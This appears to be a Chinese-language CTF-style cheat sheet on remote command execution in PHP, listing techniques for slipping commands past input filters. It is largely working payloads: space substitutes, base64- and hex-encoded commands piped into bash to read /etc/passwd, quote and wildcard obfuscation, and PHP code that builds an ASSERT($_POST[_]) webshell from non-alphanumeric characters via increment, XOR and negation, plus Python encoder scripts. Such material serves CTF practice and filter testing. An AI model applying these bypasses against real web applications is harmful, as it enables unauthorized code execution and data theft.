RCE(重构版)
C3ngH Lv3

绕过空格

1
$IFS` `${IFS}` `$IFS$9` `%09` `<、>` `<>` `{,}

以上符号均可对空格进行绕过,注:<>为重定向符

举例:cat$IFS$9flag、{cat,flag}

system函数替换

passthru() :执行命令并直接传递原始输出,适用于处理二进制数据

exec():执行命令并将输出捕获到数组中,适用于需要处理或操作输出的情况

shell_exec():执行命令并将整个输出作为字符串返回,适用于需要获取完整输出并进一步处理的情况

popen():打开一个进程管道,可以读写命令的输出或输入,适用于需要与进程交互的情况

proc_open():不仅可以执行命令,还能创建一个进程并提供对该进程的标准输入、标准输出和标准错误流的访问

pcntl_exec():一个底层函数,用于在当前进程空间中执行一个程序。这意味着调用 pcntl_exec() 后,当前 PHP 脚本会被替换为新执行的程序,不会返回到 PHP 脚本继续执行

var_dump(``):使用反引号/$()进行命令执行,使用该函数进行回显

printf(``):使用反引号/$()进行命令执行,使用该函数进行回显

函数名 描述 输出方式 是否返回输出 输入输出交互 适用场景
system() 执行命令并输出结果 直接输出 返回最后一行输出 执行命令并立即查看结果
passthru() 执行命令并传递原始输出 直接输出 处理二进制数据或大输出
exec() 执行命令并捕获输出 不输出 返回最后一行输出 捕获输出到数组进行处理
shell_exec() 执行命令并返回输出 不输出 返回整个输出 获取完整输出作为字符串
popen() 打开进程管道进行读/写 通过管道 需要与子进程交互
proc_open() 打开进程并提供管道 通过管道 复杂的进程控制和交互
pcntl_exec() 替换当前进程并执行命令 不输出 完全替换当前进程
反引号(``) 执行命令并返回输出 不输出 返回整个输出 获取完整输出作为字符串
$() 执行命令并返回输出 不输出 返回整个输出 获取完整输出作为字符串
printf() 格式化并输出字符串 直接输出 格式化输出
var_dump() 输出变量的详细信息 直接输出 调试输出变量信息

ls命令替换

可以使用 echo 命令和通配符 * 列出当前目录下的文件和目录。

1
2
$output = `echo *`;
echo $output;

stat 命令可以获取文件或目录的详细信息,可以用来实现类似于 ls 的功能。

1
2
$output = `stat *`;
echo $output;

使用PHP 内置函数 scandir()

1
2
3
4
5
6
<?php
$files = scandir('.');
foreach ($files as $file) {
echo $file . "\n";
}
?>

使用PHP 内置函数 opendir()readdir()

1
2
3
4
5
6
7
8
<?php
if ($handle = opendir('.')) {
while (false !== ($entry = readdir($handle))) {
echo "$entry\n";
}
closedir($handle);
}
?>

du命令

1
du -ah -d | bash

Windows 常见管道符:

  1. |:管道符,直接执行后面的语句。
  2. ||:逻辑或,如果前一个命令执行失败,则执行后面的命令。
  3. &:并行执行,允许同时执行两个命令,并且不管第一个命令是否成功。
  4. &&:逻辑与,如果前一个命令执行成功,则执行后面的命令。

Linux 常见管道符:

  1. ;:命令分隔符,用于分隔多个命令,按照顺序执行。
  2. |:管道符,显示后面语句的执行结果。
  3. ||:逻辑或,如果前一个命令执行失败,则执行后面的命令。
  4. &:在后台执行,允许同时执行两个命令,不阻塞当前 shell,可以继续输入其他命令。
  5. &&:逻辑与,如果前一个命令执行成功,则执行后面的命令。

变量拼接绕过

1
2
a = c ; b = a ; c = t ;
echo $a$b$c //cat

base编码绕过

1
2
echo 'cat' | base64     // Y2F0wqAK
echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash // cat /etc/passwd

hex编码绕过(十六进制)

1
2
echo "636174202F6574632F706173737764" | xxd -r -p | bash
// hex编码后的0x不需要输入。

oct编码绕过(八进制)

1
$(printf "\154\163")    //ls

字符拼接绕过

1
2
3
4
5
6
7
8
9
(sy.(st).em)(whoami);

c''a''t /etc/passwd //单引

c""a""t /etc/passwd //双引

c\``a``t /etc/passwd //反单引

c\a\t /etc/passwd //反斜线

$* 和 $@,$x (x 代表 1-9), ${x} (x>=10),比如ca${21}t a.txt表示cat a.txt,在没有传入参数的情况下,这些特殊字符默认为空

未初始化变量$u绕过

1
cat$u /etc/passwd

“/”绕过

利用“;”拼接命令绕过

chr(47)

通配符绕过

1
2
3
ca? flag    //?代表一个字符通配

c* f* //* 代表多个字符通配

glob通配符

“ [A-Fa-f0-9] ”相当于 " [ABCDEFabcdef0123456789] "

“ [-%] ”代表“ [!”#$%] ”

“ [az] ”代表“任何 小写字母”

利用[@-[]来表示大写字母

[…]表示匹配方括号之中的任意一个字符

{…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。

{…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开

自增绕过

1
2
<?php
$_++;

$++对变量进行了自增操作,由于我们没有定义的值,PHP会给赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。

1
2
"A"++ ==> "B"
"B"++ ==> "C"

也就是说,如果我们能够得到"A",那么我们就能通过自增自减,得到所有的字母。 那么问题就转化为怎么得到一个字符"A"。在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为"Array"。再取这个字符串的第一个字母,就可以获得"A"。

$++对变量进行了自增操作,由于我们没有定义的值,PHP会给赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$_=[].''; //得到"Array"
$___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___; //$__="A"
$_ = $___; //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$___ .= $__; //$___="AS"
$___ .= $__; //$___="ASS"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++; //得到"E",此时$__="E"
$___ .= $__; //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++; //得到"R",此时$__="R"
$___ .= $__; //$___="ASSER"
$__++;$__++; //得到"T",此时$__="T"
$___ .= $__; //$___="ASSERT"
$__ = $_; //$__="A"
$____ = "_"; //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"P",此时$__="P"
$____ .= $__; //$____="_P"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"O",此时$__="O"
$____ .= $__; //$____="_PO"
$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$____ .= $__; //$____="_POS"
$__++; //得到"T",此时$__="T"
$____ .= $__; //$____="_POST"
$_ = $$____; //$_=$_POST
$___($_[_]); //ASSERT($POST[_])

异或绕过

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
def encode(command):
code = "~`!@#$%&*()-=+_[]{};:<>,.?/|"
result_1 = ""
result_2 = ""

for x in command:
if not command.isalpha():
result_1 += x
result_2 += x
for y in code:
if chr(ord(x) ^ ord(y)) in code:
result_1 += y
result_2 += chr(ord(x) ^ ord(y))
break
return f'("{result_1}" ^ "{result_2}")'

a=encode('ls')
print(a)
PYTHON
#脚本会返回所有字母的异或组合,需要自己手工找拼出命令
import string
from urllib.parse import quote
keys = list(range(65)) + list(range(91,97)) + list(range(123,127))
results = []
for i in keys:
for j in keys:
asscii_number = i^j
if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122):
if i < 32 and j < 32:
temp = (f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
elif i < 32 and j >=32:
temp = (f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
elif i >= 32 and j < 32:
temp = (f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
else:
temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)

results.sort(key=lambda x:x[1], reverse=False)
for low_case in string.ascii_lowercase:
for result in results:
if low_case in result:
print(result[0])

for upper_case in string.ascii_uppercase:
for result in results:
if upper_case in result:
print(result[0])

取反绕过

1
2
3
<?php
echo urlencode(~'phpinfo'); //%8F%97%8F%96%91%99%90
?>

先将命令进行取反然后上传的时候添加一个~符号,在服务器上再次进行取反操作

则phpinfo(); => (~‘%8F%97%8F%96%91%99%90’)();

文件读取命令替换

1
2
3
4
5
6
7
8
9
10
cat--由第一行开始显示内容,并将所有内容输出
tac--从最后一行倒序显示内容,并将所有内容输出
more-- 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head-- 只显示头几行
tail --只显示最后几行
nl --类似于cat -n,显示时输出行号
tailf-- 类似于tail -f
vim --使用vim工具打开文本
vi --使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出
 评论
评论插件加载失败
正在加载评论插件
总字数 77.8k 访客数 访问量